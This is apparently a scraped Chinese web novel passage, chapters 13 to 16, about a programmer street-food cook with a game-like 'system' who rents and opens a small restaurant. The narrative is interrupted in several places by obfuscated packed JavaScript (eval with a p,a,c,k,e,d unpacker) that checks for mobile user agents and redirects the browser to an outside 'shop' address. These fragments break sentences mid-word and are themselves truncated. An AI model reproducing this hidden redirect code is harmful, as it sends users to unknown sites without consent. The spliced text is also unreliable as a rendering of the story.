l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511082|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个每天吃蛋炒饭的程序员,现在有人在夜市排队半小时买他的炒河粉,还有人要给他写歌。 但他又觉得,好像也没那么奇怪。 因为他只是做了一件事——认认真真地做饭。 回到城中村,巷子里那几只猫还在。那只小橘猫今天又来了,比昨天看着大了一点,不知道是不是心理作用。 房寨从口袋里掏出一根火腿肠,掰碎了丢给它们。小橘猫这次抢到了两块,叼着跑到墙角,吃得很快。 他蹲下来看了一会儿,想伸手摸一下,小橘猫往后缩了缩,没让摸。 “行吧,不摸就不摸。” 房寨站起来,上了楼。 今天不早,但也不算晚。他没有马上洗澡,而是坐在塑料凳子上,把今天的事在脑子里过了一遍。 酸梅汤卖得好,明天要多备一些。凉面的酱汁可以再调一个版本,不放辣的,有些人吃不了辣。炒河粉的牛肉腌法可以改进一下,加点小苏打会更嫩。 他拿出本子,把这些想法一条条记下来。 然后他翻到前面,看了看这个月的总账。 净赚四千七,加上今天的,刚好破五千。 他盯着这个数字看了几秒,然后在本子最上面写了一行字:“下个月目标:净赚一万。” 写完他自己都觉得有点夸张。一个月赚一万,一天要赚三百多。今天赚了四百多,昨天三百多,前几天也有四百多的,但有时候只有一两百。 平均下来一天三百多,不是不可能,但需要每天都保持高客流。 他需要更多的熟客,更好的口碑,更稳定的出品。 还有,更丰富的菜单。 房寨翻了翻系统面板,厨艺经验值已经到了九百二,还差八十就能升到中级。他需要再做一两个新菜。 做什么呢? 他想到了夜市上卖得最好的几样东西——烤面筋、炸串、臭豆腐、炒酸奶。但这些都有人做了,他不想跟别人抢生意。 他需要一个别人没有的、适合夏天的、成本不高但利润不错的东西。 想了半天,没想出来。 算了,明天再说。 房寨洗了个澡,躺在床上,拿起手机看了一眼。 群里有人发了一条很长的消息,是个姑娘写的。 “今天是我分手整整一个月的日子。这一个月我过得浑浑噩噩的,吃不下睡不着,瘦了十几斤。今天朋友拉我去城南夜市,说有一家炒河粉特别好吃,让我尝尝。 我本来没什么胃口,但看到寨哥儿那个摊的时候,不知道为什么就想吃了。可能是他的摊看起来很干净,也可能是他炒菜的时候很认真。 我吃了一碗炒河粉,加牛肉的。吃第一口的时候我觉得没什么特别的,但吃到第三口的时候,我忽然哭了。不是难过,是那种……怎么说呢,就是觉得,原来我还是能吃下东西的,原来我还是会觉得一样东西好吃的,原来我还是会活过来的。 谢谢寨哥儿。不是因为你做的饭有多好吃,是因为你让我知道,这个世界上还有人认认真真地做着一件小事,而且做得很好。这让我觉得,一切都会好起来的。” 房寨看完这条消息,拇指在屏幕上方停了好一会儿。 他不知道该回复什么。 说“不客气”太轻了,说“你一定会好起来的”太假了,他一个摆摊的,凭什么说这种话。 最后他打了几个字:“你多吃点,长胖了才好。” 发出去之后他又觉得这句话说得太蠢了,但撤不回来了。 群里有人回复他:“寨哥儿你这是什么直男回复哈哈哈哈。” 也有人回复那个姑娘:“姐妹,寨哥儿就是这个风格,你别介意,他是真心的。” 房寨把手机扣在胸口,盯着天花板。 灯没闪。 他想,也许他真的不用说什么漂亮话。他只要把饭做好,把酸梅汤熬好,把摊位收拾干净,就行了。 那些人要的,不是他的安慰。 他们要的,是一碗好吃的饭,一杯好喝的酸梅汤,一个干净的小摊,一个认真做饭的人。 这些东西,他能给。 14. 第 14 章 房寨是在一个普通的周二晚上升到中级的。 那天生意一般,人不多不少,卖了四十多份凉面和炒河粉,酸梅汤卖了不到五十杯。收摊的时候他在记账,系统面板突然弹出来,蓝光把本子都照变色了。 【恭喜宿主!厨艺等级提升:中级。】 【当前经验值:1020/3000。】 【新功能解锁:店铺经营系统。】 【新功能解锁:食材溯源。】 【新功能解锁:菜品研发。】 【解锁奖励:房贷减免券×1,厨具升级券×1,随机珍贵食谱×1。】 房寨放下笔,一个一个地看这些新功能。 店铺经营系统,之前就预告过,但一直没解锁。现在点进去一看,里面分了好几个板块:选址分析、客流预测、成本核算、菜单优化。每个板块都是灰色的,需要完成相应的任务才能激活。 食材溯源,这个他没想到。点进去是一个数据库,可以查看每一种食材的产地、品种、新鲜度评分。他拿起手边的一根黄瓜试了试,面板上立刻显示出一行字:黄瓜,产地城北批发市场,品种津绿一号,新鲜度72分,建议冷藏保存。 房寨看着这行字,觉得挺有用的。至少以后买菜的时候能知道哪种更新鲜。 菜品研发,这个最让他感兴趣。点进去之后是一个空白的界面,上面有一行提示:请选择研发方向(主食/小吃/饮品/汤羹)。他选了主食,界面跳出来一个列表,里面是各种食材的搭配方案和预估评分。 他试着把“河粉、牛肉、豆芽、韭菜”输进去,系统给出了评分预测:84分。他又把“面条、芝麻酱、黄瓜、豆芽”输进去,预测评分:79分。 这个功能可以用来测试新菜品的可行性,不用自己瞎试了。 最后一个,随机珍贵食谱。 房寨深吸一口气,点了一下。 金光一闪,一行字浮现出来。 【获得食谱:煲仔饭。】 煲仔饭。 房寨脑子里立刻浮现出完整的画面。砂锅底部刷一层油,米加水煮到收水,铺上腊肠和腊肉,沿着锅边淋一圈油,小火慢煲。最后打一个鸡蛋,撒上葱花,浇上酱汁。锅巴要焦黄酥脆,米饭要粒粒分明,腊味的油脂渗进米饭里,每一口都是香的。 他咽了口唾沫。 但这个菜不好做。需要砂锅,需要明火,需要控制火候。腊肠腊肉要好的,米的品种也有讲究,丝苗米最好,普通大米太黏了。 而且煲仔饭是现做的,一份要十几分钟,不适合在夜市卖。人一多,根本忙不过来。 房寨想了想,觉得这个菜可以留着,以后开店了再用。 他把新功能挨个研究了一遍,觉得最有用的还是菜品研发。有了这个,他可以自己设计新菜,不用全靠系统给了。 第二天,房寨去了趟菜市场,用上了食材溯源功能。 他拿起一把青菜,系统显示新鲜度68分。换了一把,78分。又换了一把,82分。他买了那把82分的,比普通的贵了五毛钱,但值。 买肉的时候更明显。两家肉铺的猪肉,一家新鲜度91分,一家73分。91分那家的肉颜色更鲜亮,闻着也没有异味,但价格贵了两块钱。房寨咬咬牙买了贵的。 他想,贵有贵的道理。客人吃得出区别。 回到出租屋,他开始备料。今天的量比平时多一些,酸梅汤他打算煮两大桶,凉面多备了十份。 下午的时候,他接到了阿坤的电话。 “寨哥,你在哪?” “在家备料。” “你等一下,我带个人来找你。” “谁?” “到了你就知道了。” 过了半小时,阿坤来了,后面跟着一个四十多岁的男人。男人穿着格子衬衫,戴着眼镜,头发有点乱,看起来像个老师或者工程师。 “这是李哥。”阿坤介绍说,“我学员的爸爸,做餐饮的,开了好几家店。” 房寨有点懵,不知道阿坤带这个人来干什么。 李哥倒是很直接,在屋里转了一圈,看了看房寨的食材和调料,又看了看他的推车和烤炉。 “阿坤说你做的东西很好吃,我今天来不是吃饭的,是想跟你谈谈合作。” “合作?” “你有没有想过开店?”李哥拉过塑料凳子坐下来,“我在城南有一个小铺面,之前是做奶茶的,生意不好关了。位置还行,离你那个夜市不远。你要是想开店,我可以低价租给你。” 房寨看着李哥,又看了看阿坤。 “李哥是做餐饮的,他能帮你。”阿坤说,“你总不能一直摆摊吧?刮风下雨怎么办?冬天怎么办?” 房寨知道阿坤说得对。摆摊确实不是长久之计。夏天还好,到了冬天,站在外面几个小时,手都能冻裂。下雨天更不用说了,根本出不了摊。 但他也有顾虑。 “租金多少?” “那个铺面不大,二十来个平方,月租三千。”李哥说,“比市场价低,我不赚你的钱,就是想看看你能做成什么样。” 三千。比夜市的摊位贵一千,但多了一个屋子,有水电,有空调,有操作台。不用每天推车来回跑,不用怕刮风下雨,可以固定营业时间。 房寨心动了,但他没有马上答应。 “李哥,我能去看看那个铺面吗?” “现在就去,我开车来的。” 三个人出了门,李哥开着一辆旧SUV,拉上房寨和阿坤,往城南开。路上堵了一会儿,二十分钟才到。 铺面在一条支马路上,离主街不远,但不算热闹。周围有几个小区,还有一家小学和一家幼儿园。铺面不大,门脸也很窄,不仔细看容易错过。但里面比房寨想的好,方方正正的,有个小厨房,有个小仓库,还有个卫生间。 “以前做奶茶的,上下水都有,电也够用。”李哥指了指厨房,“你要做煲仔饭的话,需要加几个炉头,我可以帮你找人弄。” 房寨在铺面里走了一圈,用手摸了摸墙壁,蹲下来看了看地面。整体还行,虽然旧了点,但收拾收拾能用的。 “李哥,我考虑三天,行吗?” “行,你慢慢考虑。” 回去的路上,阿坤问房寨:“你觉得怎么样?” “地方还行,就是怕客流量不够。” “你有群啊,群里几百号人,你发个消息他们不就来了?” 房寨想了想,也是。 但他最担心的不是客流量,是房租。三千块钱一个月,加上水电食材人工,一个月固定成本至少五千。他每天要卖多少才能回本?算下来一天至少要赚两百块,才能不亏。 他现在摆摊一天能赚三百左右,开店之后成本高了,利润反而可能下降。 除非客流量翻倍。 但能翻倍吗? 他不知道。 晚上出摊的时候,房寨一直在想这件事。 炒河粉的时候想,差点把河粉炒糊了。拌凉面的时候想,酱汁放多了,咸了。客人说酸梅汤今天的味道不太一样,他才反应过来,今天换了乌梅,忘了调整配方。 “寨哥,你今天心不在焉啊。”阿坤在旁边看出来了。 “没事,在想点事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511083|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。” “想开店的事?” “嗯。” “我跟你说,李哥那个铺面很多人想租,他是看在我的面子上才先给你看的。”阿坤压低了声音,“你要是不要,他下周就给别人了。” 房寨知道阿坤不是在吓他。 他站在铁板后面,看着面前排队的人。今天人不多,大概十几个,有的在低头看手机,有的在跟朋友聊天,有的在看他炒菜。 他想,这些人会愿意去他的店里吃吗? 如果店开在支马路上,不在主街上,他们愿意多走几步路吗? 他不知道。 但他想到了另一件事。 开店之后,他可以不用每天推着那个咯吱咯吱响的推车来回跑了。可以不用在冬天站在外面吹冷风了。可以有一个固定的地方,让客人坐下来慢慢吃,而不是蹲在路边。 他可以让那些人吃得更舒服一点。 就这一点,就值得试试。 收摊的时候,房寨把今天的情况记在本子上,然后在最下面写了一行字:“明天去看李哥的铺面,再仔细量一下尺寸。” 合上本子,他骑着三轮车往回走。今天夜风挺大的,吹得遮阳棚哗哗响,他把车骑得慢了些,怕东西被吹掉。 路过天桥的时候,何一舟不在。桥上空荡荡的,只有几个烟头和一张被风吹到角落里的报纸。 房寨没停,直接骑过去了。 回到城中村,那几只猫还在。小橘猫今天特别活跃,在巷子里跑来跑去,追着一只飞蛾玩。房寨看了一会儿,从口袋里掏出火腿肠,掰碎了丢在地上。 猫们围过来吃,小橘猫跑得最快,抢了一块大的,叼着跑到老位置。 房寨蹲下来,慢慢伸出手。小橘猫这次没躲,但也没靠近,就蹲在那里看着他,嘴里还叼着火腿肠。 房寨把手停在半空中,等了几秒。小橘猫歪了歪头,往前挪了一步,用鼻子碰了一下他的手指。 凉凉的,湿湿的。 房寨笑了笑,站起来上了楼。 开门的时候他忽然想起来,今天系统给了房贷减免券还没用。他点开面板,把券用了。 【房贷减免券生效中……抵扣本金8000元。当前剩余本金:1,466,331.68元。】 一百四十六万。 从一百五十二万到现在,还了快六万了。 其中大部分是系统给的,他自己摆摊赚的只还了一小部分。但他不觉得惭愧,系统是他的本事,系统给的奖励就是他的奖励,不分彼此。 洗了澡,躺在床上,房寨把手机拿出来,在群里发了一条消息。 “问大家一个问题,如果我开个店,你们会来吗?” 消息发出去之后,群里安静了两秒钟,然后炸了。 “开店?!寨哥儿你要开店了?!” “开开开!必须开!在哪开?什么时候开?” “你开在哪我就去哪,远一点没关系。” “终于要开店了!再也不用蹲在路边吃炒河粉了!” “寨哥儿你开店的话能不能搞个会员卡?我要充一年的!” 房寨看着这些消息,鼻子有点酸。 他回了一条:“还没定,就是问问。定了第一时间通知大家。” 发完这条,他把手机放在枕头边,关了灯。 黑暗中,他想了很多。想到那个铺面,想到李哥说的话,想到群里那些人的回复。 他觉得,也许可以试试。 就算失败了,大不了再回来摆摊。 推车还在,轮子虽然咯吱咯吱响,但还能推得动。 15. 第 15 章 房寨第二天一早就去了那个铺面。 他带了一卷尺,一个本子,一支笔。到的时候才八点多,街上没什么人,旁边的早餐店还在卖包子,蒸笼摞得老高,热气往上冒。 铺面的卷帘门关着,上面贴着一张招租启事,留的是李哥的电话。房寨没打,他想先自己看看周围的环境。 他在铺面门口站了十几分钟,数了数路过的人数。不多,但也没他想得那么少。有送孩子上学的家长,有遛狗的老人,有骑电动车上班的年轻人。这些人不一定都会进来吃饭,但如果他做得够好,总有人会停下来。 他又走到主街上,看了看那边的餐饮店。有一家面馆,生意还行,早上九点了还坐了几个人。有一家包子铺,已经收了。有一家黄焖鸡,还没开门。 主街的人流量比支路多一倍不止,但租金肯定也贵。他不敢问,怕问了心里不平衡。 九点多,李哥来了。 “来这么早?”李哥开了门,卷帘门哗啦一声往上跑,里面的灰尘扬起来,在阳光里飘了一阵。 “睡不着,就早点来了。” 房寨拿着尺子开始量。厨房的长宽高,操作台的位置,水槽的大小,插座的高度。一样一样地量,一样一样地记在本子上。 李哥在旁边看着,没说话,嘴角有一点笑。 “你是做技术出身的吧?”李哥忽然问。 “程序员。” “难怪。”李哥点了点头,“做事这么细。” 房寨量完了,在本子上画了个草图,标了尺寸,然后站在屋子中间看了看。 “李哥,这个铺面以前做奶茶的时候,一天能做多少营业额?” “好的时候一千多,差的时候两三百。”李哥说,“后来旁边开了家蜜雪冰城,就做不下去了。” 房寨想了想。奶茶和餐饮不一样,奶茶是买了就走,餐饮是坐下来吃的。他的店不需要很大的客流量,只要有一批稳定的熟客,就能活下去。 “李哥,租金能再低一点吗?” 李哥看着他,沉默了几秒。 “两千八,不能再低了。” 房寨在心里算了一下。两千八的房租,加上水电食材,一个月固定成本四千五左右。一天卖一百五十块钱就能保本,超过的就是赚的。他现在摆摊一天能卖六七百,开店之后应该不会比摆摊差。 “行。”房寨说,“我租。” 李哥从车里拿出合同,一式两份。房寨看了一遍,比夜市的合同正规多了,上面有条款、有违约责任、有续约条件。他看得仔细,每一条都读了两遍。 “你看合同的样子像在审代码。”李哥笑了。 “习惯了。” 房寨签了字,按了手印,交了第一个月的租金和押金。押金一个月,租金两千八,一共五千六。他手头的钱刚好够,交完只剩几百块了。 李哥把钥匙给他,拍了拍他的肩膀。 “好好干,我看好你。” 李哥走了之后,房寨一个人站在空荡荡的铺面里,手里攥着钥匙,钥匙的齿硌得手心疼。 这是他的了。 虽然只是个二十平米的铺面,虽然位置偏了点,虽然墙面还有点掉灰,但这是他的了。不是租的城中村那种随时可能被房东赶走的单间,是正儿八经的、签了合同的、用来开店做生意的铺面。 他把卷帘门拉下来,骑着三轮车回去了。 下午他没去菜市场,而是去了趟五金店和厨具城。 铺面需要装修,但不需要大动。地面还行,不用重铺。墙面需要刷一下,他买了三桶乳胶漆,白色的,打算自己刷。厨房需要加两个炉头,一个炒菜用,一个煲仔饭用。还需要一个冰箱,一个冰柜,一个消毒柜,几张桌椅。 他拿着本子,把需要的东西一样样列出来。 炉头两个,一千二。冰箱一个,一千五。冰柜一个,八百。消毒柜一个,四百。桌椅四套,一千。乳胶漆和刷子,两百。乱七八糟的小东西,五百。 加起来五千多。 他没那么多钱。 房寨坐在塑料凳子上,看着本子上的数字发呆。 他手头只剩几百块了,连冰箱都买不起,更别说炉头和桌椅了。 他想到了小刘。上次小刘他们凑了一千二,他还没还。再借?不好意思开口。 想到了阿坤。阿坤还欠他两千,总不能让他还了再借。 想到了李哥。刚跟人家签了合同,转头就借钱,不合适。 房寨把本子合上,放在一边。 算了,先不想了。先把夜市摆好,攒够了钱再装修。 晚上出摊的时候,房寨的状态不太好。心里装着事,干活有点走神。有客人要加辣,他忘了加。有客人要少油,他给了正常量。虽然没人说什么,但他自己知道,今天做的比平时差。 阿坤在旁边看着,没吭声,等客人少了一些才凑过来。 “寨哥,你今天怎么了?” “没事。” “你别骗我,你炒河粉的时候酱油放多了两回,你自己没发现?” 房寨愣了一下。他确实没发现。 “是不是开店的事遇到困难了?” 房寨犹豫了一下,把装修缺钱的事说了。 阿坤听完,从口袋里掏出手机,按了几下,然后把屏幕转过来给房寨看。 “这是群里大家众筹的,我刚发起的。” 房寨接过手机一看,阿坤在群里发了一条消息,上面写着:“寨哥儿要开店了,缺钱买设备,大家愿意的话可以凑一点,多少都行,以后寨哥儿请你们吃饭。” 下面已经有人开始转账了。 “我出两百。” “我出一百。” “学生党没什么钱,五十块,寨哥儿加油。” “五百,算我入股,不要利息。” 房寨看着这些消息,眼睛一下子就红了。 他把手机还给阿坤,转过身去,假装在擦铁板。但阿坤还是看到了。 “寨哥,你哭了?” “没有,油烟熏的。” “铁板都没开火,哪来的油烟?” 房寨没说话,用力擦了几下铁板,然后把抹布丢进水桶里。 “你跟群里说,钱算我借的,以后还。” “我说了,他们说不用还。”阿坤把手机揣回兜里,“你就别跟他们客气了,他们都是真心想帮你。” 房寨深吸了一口气,把那股往上涌的东西压了下去。 他转过身,继续干活。 接下来的几天,房寨白天跑装修,晚上摆摊。 铺面的墙他一个人刷的。三桶乳胶漆,一把滚筒刷,一个人干了三天。第一天刷了第一遍,第二天刷了第二遍,第三天修补了一下边角。刷完之后墙面白了很多,整个屋子亮堂了不少。 厨房的炉头是他自己装的。买了两个猛火炉头,接上煤气管,试了火,蓝色的火焰蹿得老高,很猛。炒菜用的锅也买了,铁锅,三十四厘米的,先开锅,烧热了用猪油擦了三遍,锅面黑亮黑亮的。 冰箱和冰柜是二手的。他在二手市场淘的,一个冰柜三百,一个冰箱四百,都还能用,就是旧了点。擦干净之后,看着还行。 桌椅也是二手的。四套,一套八十,一共三百二。木头的,有点划痕,但不影响用。他买了桌布铺上,蓝色的格子布,铺完之后整个店的感觉都不一样了。 消毒柜买了个新的,四百块,最小的那种,够用就行。 所有的东西加起来,花了不到四千块。比预算少了将近一千。 房寨站在店里,看着这个自己一手弄起来的小空间,心里说不出的满足。 墙面是白的,桌布是蓝格子的,厨房的炉头擦得锃亮,冰箱里空空的但通了电在制冷。门口他挂了一块小招牌,白底黑字,写着“寨哥儿”三个字,下面是“煲仔饭·炒河粉·凉面”。 招牌是他自己写的,字还是歪歪扭扭的,但他觉得挺好的。歪就歪呗,反正他是卖饭的,又不是卖字的。 开店的日子定在了下周六。 房寨在群里发了通知:“下周六,新店开业,地址在城南翠屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511084|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路,具体位置我发定位。开业当天全场八折,酸梅汤免费。” 群里又是一阵欢呼。 有人问:“寨哥儿,新店有煲仔饭吗?” 房寨回复:“有,开业当天第一次做,好不好吃不敢保证,你们来尝尝。” 有人问:“几点开门?” “中午十一点到晚上八点,卖完可能提前收。” 有人问:“能预定吗?我怕排队。” 房寨想了想,回复:“不用预定,来了就有。排队的我送酸梅汤。” 发完这条,他把手机放在一边,开始准备开业的东西。 菜单要重新做。以前在夜市,菜单就是一块纸板。现在开店了,得正式一点。他找了一张大卡纸,用彩色笔写了菜单,上面列了所有的菜品和价格。 煲仔饭——18元(腊味/排骨/香菇滑鸡) 炒河粉——12元(加牛肉15元) 凉面——8元 酸梅汤——3元 烤红薯——6元/8元 他本来想多做几个煲仔饭的口味,但想了想,刚开始还是少而精,把腊味煲仔饭做好就行。 开业前一天,房寨忙了一整天。 上午去买食材。腊肠腊肉专门去了一家老字号,老板是个广东人,说他的腊肠是东莞那边进的货,房寨用食材溯源功能查了一下,新鲜度89分,算高的了。买了五斤腊肠,五斤腊肉,花了三百多。 米买的是丝苗米,十斤一袋,买了五袋。这种米细长,煮出来粒粒分明,适合做煲仔饭。 排骨和鸡肉也买了,打算试试另外两种口味,但开业当天主推腊味。 下午的时候,阿坤来了。他带了几个人,都是健身房的同事,来帮房寨搬东西搞卫生。 “寨哥,你坐着,我们来。”阿坤把房寨按到椅子上,带着人开始搬桌椅擦玻璃。 房寨坐在椅子上,看着这帮人忙活,心里过意不去,想去帮忙,又被按回来。 “你今天是老板,哪有老板干活的。”阿坤说。 房寨只好坐着,看着他们把店里收拾得干干净净。 傍晚的时候,小刘也来了。他带了一个花篮,红色的,上面写着“祝寨哥儿开业大吉”。 “小刘,你花这钱干什么?” “部门同事凑的,不是花我的钱。”小刘把花篮摆在门口,退后两步看了看,“好看吧?” 房寨看着那个花篮,红色的绸带上写着金字,在夕阳下面闪闪发亮。他又看了看旁边那几个人,阿坤在擦桌子,健身房的同事在搬东西,小刘在摆花篮。 他觉得喉咙有点紧,张了张嘴,说了句“谢谢”。 声音不大,但他们都听到了。 阿坤头都没抬:“谢什么谢,明天多做几份煲仔饭就行。” 小刘笑了:“对,我们可不是白干的,明天要来吃的。” 房寨点了点头,没再说话。 晚上,所有东西都准备好了。 房寨一个人坐在店里,周围很安静,只有冰箱嗡嗡的声音。他看了看墙上的钟,快九点了。 他站起来,把灯关了,锁了门。 走到门口的时候,他回头看了一眼。月光下,“寨哥儿”三个字看不太清楚,但蓝色的格子桌布透过玻璃门能看到一点。 房寨转过身,骑着三轮车往回走。 城中村的巷子里,那几只猫还在。小橘猫长大了不少,肚子圆滚滚的,蹲在墙头舔爪子。看到房寨来了,跳下来,跑到他脚边蹭了蹭。 房寨蹲下来,摸了摸它的头。小橘猫没躲,反而往上顶了顶。 “你倒是长胖了。”房寨说。 小橘猫喵了一声,好像在说“还不是你喂的”。 房寨笑了笑,上楼了。 明天就是开业的日子了。 他不知道明天会有多少人,不知道煲仔饭能不能做好,不知道这个店能不能活下去。 但他知道,他已经走到这一步了。 不管明天怎么样,他都会站在那个炉头前面,把饭做好。 16. 第 16 章 房寨早上六点就到了店里。 不是他勤快,是睡不着。昨晚翻来覆去到两点多才迷迷糊糊闭眼,四点多又醒了,躺到五点半实在躺不住了,干脆起来洗了把脸出门。到店里的时候天刚蒙蒙亮,街上一个人都没有,连早餐店都还没开门。 他用钥匙开了门,卷帘门哗啦一声响,在安静的早晨里显得特别大声。进去之后先把灯打开,白色的日光灯闪了两下亮了,整个屋子白花花的。 今天要做的事很多。煲仔饭的米要提前泡,腊肠腊肉要切片,酱汁要调好。凉面的面条要煮好过凉水拌油,酸梅汤要熬两大锅,炒河粉的牛肉要腌上。 房寨一样一样地做,动作不快不慢,像是在完成一件很重要的事情。 泡米。丝苗米淘了三遍,加水没过米面,泡半小时。泡好的米沥干水分,放着备用。 切腊肠腊肉。腊肠斜刀切成薄片,厚度要均匀,太厚了不入味,太薄了一蒸就缩。腊肉也切成片,肥瘦相间的部分最好,蒸出来油润润的。切了一小盆,盖上保鲜膜放冰箱。 调酱汁。煲仔饭的酱汁是灵魂。生抽、老抽、蚝油、糖、水,比例他试了好几次才定下来。这次多调了一些,装在大号塑料瓶里,挤着用。 酸梅汤最先煮上。乌梅、山楂、冰糖、桂花,加水煮了半小时,关火晾凉。等会儿装进保温桶加冰块。 八点多的时候,阿坤来了。他今天请了假,专门来帮忙。 “寨哥,有什么活?” “你把桌椅擦一遍,地拖一下。” 阿坤撸起袖子开始干。他干活麻利,拖地的时候从里往外拖,不留死角,一看就是在家没少干活的。 九点多,小刘也来了。他带了一挂鞭炮,红彤彤的,摆在门口。 “小刘,这不让放吧?” “我问过了,这条街可以,别放太多就行。”小刘把鞭炮摆好,引线拉出来,“等会儿十一点零八分,准时放,图个吉利。” 房寨对这些讲究不太懂,但既然是小刘的心意,他就不说什么了。 十点的时候,店里已经准备得差不多了。房寨把炉头打开试了试火,蓝色的火焰蹿得老高,锅里倒了一点水,滋啦一声就蒸发了,火够猛。 他把砂锅一个个摆好,一共十二个,是前两天专门去买的。新的砂锅要用淘米水煮过才能用,他已经处理好了。 十点半,门外开始有人了。 不是客人,是群里来帮忙的。几个人手里拿着气球和彩带,说要给店里装饰一下。房寨拦都拦不住,她们就自己动手了。气球吹起来绑在门框上,彩带从天花板上垂下来,花花绿绿的,看着像过生日。 “是不是太花了?”房寨问阿坤。 “开业嘛,就得热闹。”阿坤看了一眼,“挺好的。” 十点五十,门外已经站了不少人。房寨透过玻璃门往外看,心里有点慌。他没想到真的会来这么多人,群里报名的就有三四十个,加上临时来的,怕是五六十都不止。 他看了一眼冰箱里的食材,腊味煲仔饭的材料大概能做三十份,炒河粉和凉面多一些,酸梅汤两大桶应该够。 不够就早点卖完,总比剩了好。 十一点零八分,小刘点了鞭炮。 噼里啪啦的声音震得耳朵嗡嗡响,红色的纸屑飞得到处都是,烟雾弥漫了半条街。路过的行人停下来看,旁边的店家探出头来张望。 房寨站在门口,被鞭炮声炸得有点懵。 阿坤推了他一下:“寨哥,说两句。” “说什么?” “随便说两句。” 房寨站在门口,看着面前这些人。有熟面孔,有生面孔,有群里的,有路过的。他们有的举着手机在拍,有的在笑,有的在喊“寨哥儿开业大吉”。 他张了张嘴,想说谢谢,想说今天全场八折,想说酸梅汤免费。但这些话到了嘴边,忽然觉得都不太对。 “饭做好了,进来吃吧。”他说。 就这么一句。 然后他转身进了厨房,把炉头打开。 火苗蹿起来的时候,外面的人开始往里走了。 第一个进店的是个老熟客,房寨记得她,是那个被裁员后吃了他的葱油拌面说“一切都会好起来的”姑娘。她今天穿了一件新裙子,头发也剪短了,看起来精神了很多。 “老板,恭喜开业。”她笑着说,“我要一份腊味煲仔饭。” “好,稍等。” 房寨在砂锅里刷了一层油,舀了一碗泡好的米铺平,加水,水量刚好没过米面。放在炉头上,大火烧开。 砂锅里的水很快就沸腾了,米粒在锅里翻滚。房寨看着火候,等水收到差不多的时候,把切好的腊肠腊肉铺在米饭上,盖上盖子,转小火。 他侧耳听了听锅里的声音。水干了之后会有细微的滋滋声,那是米饭开始结锅巴的信号。这时候沿着锅盖边缘淋一圈油,油顺着锅壁流下去,在高温下把锅巴炸得金黄酥脆。 整个过程需要十二到十五分钟,全靠经验判断,不能开盖看,一看就跑了热气。 趁着煲仔饭在灶上闷着,房寨开始做其他人的订单。炒河粉、凉面、酸梅汤,一样一样地出,手没停过。 阿坤在外面帮忙点单端菜收钱,小刘在门口招呼客人。三个人忙得脚不沾地,但店里的秩序还行,没有乱。 第一份煲仔饭出锅的时候,房寨自己先看了一眼。 揭开盖子,热气猛地往上冲,腊味的香气浓得化不开。米饭表面铺满了腊肠腊肉,油脂渗进了米饭里,边缘的锅巴焦黄发亮。他打了个鸡蛋在中间,盖上盖子闷了一分钟,让蛋白凝固蛋黄还是溏心的。最后淋上一圈酱汁,撒了一把葱花。 红色的腊肠,白色的米饭,绿色的葱花,黄色的溏心蛋,褐色的酱汁。颜色搭配得刚刚好,看着就有食欲。 阿坤端过去放在桌上,那个姑娘拿起手机拍了张照,然后拿起勺子,从锅边铲了一块锅巴上来,锅巴在勺子里发出清脆的碎裂声。 她咬了一口,嚼了嚼。 “好脆。”她说,“这个锅巴好好吃。” 她又舀了一勺米饭,裹着腊肠和酱汁,送进嘴里。嚼了两下,眼睛眯起来了,是那种很满足的表情。 “老板,这个煲仔饭我要给一百分。” 【叮!食客评价已录入。满意度:98分。】 房寨松了一口气。 他之前最担心的就是煲仔饭。这个菜他练了好几天,但每次做的味道都不太一样,火候控制得不够稳定。今天这次算是发挥得最好的。 店里的人越来越多,十二个砂锅根本不够用。有人等不及,改点炒河粉或者凉面。有人专门冲着煲仔饭来的,愿意等,坐在门口的小板凳上刷手机。 房寨在厨房里忙得满头大汗。十二个砂锅轮着用,这边出锅那边上灶,炉头的火就没关过。他的T恤湿透了贴在身上,汗水顺着脖子往下淌,但他顾不上擦。 阿坤进来端菜的时候看到他这样,从冰箱里拿了一瓶水放在灶台边上。 “寨哥,喝口水。” 房寨拧开盖子灌了两口,冰水下去,整个人打了个激灵。 “外面还有多少人?” “我数了一下,还在排队的二十多个。”阿坤说,“食材够吗?” 房寨看了一眼冰箱。腊味煲仔饭的料还有七八份,炒河粉和凉面还够,酸梅汤还剩大半桶。 “够。” 他又把砂锅放上灶头,开始做下一份。 中午那波客流一直持续到两点多才慢慢减少。最后一份煲仔饭出锅的时候,已经快两点半了。房寨把灶火关了,靠在墙上喘了口气。 阿坤端着一碗凉面进来,放在他面前。 “寨哥,你先吃点东西,你都忙了一中午了。” 房寨看了看那碗凉面,确实饿了。他坐下来,拌了拌,大口大口地吃。面条有点坨了,酱汁也放多了,咸。但他吃得很快,三两口就扒完了。 “好吃吗?”阿坤问。 “不好吃,坨了。” “那你还吃这么快?” “饿了啊。” 阿坤笑了,房寨也笑了。 下午的客流比中午少了很多,但陆陆续续一直有人来。有的是看了群里的消息专门来的,有的是路过闻到香味进来的,有的是中午没吃上晚上来补的。 房寨趁着人少的时候把账算了算。< 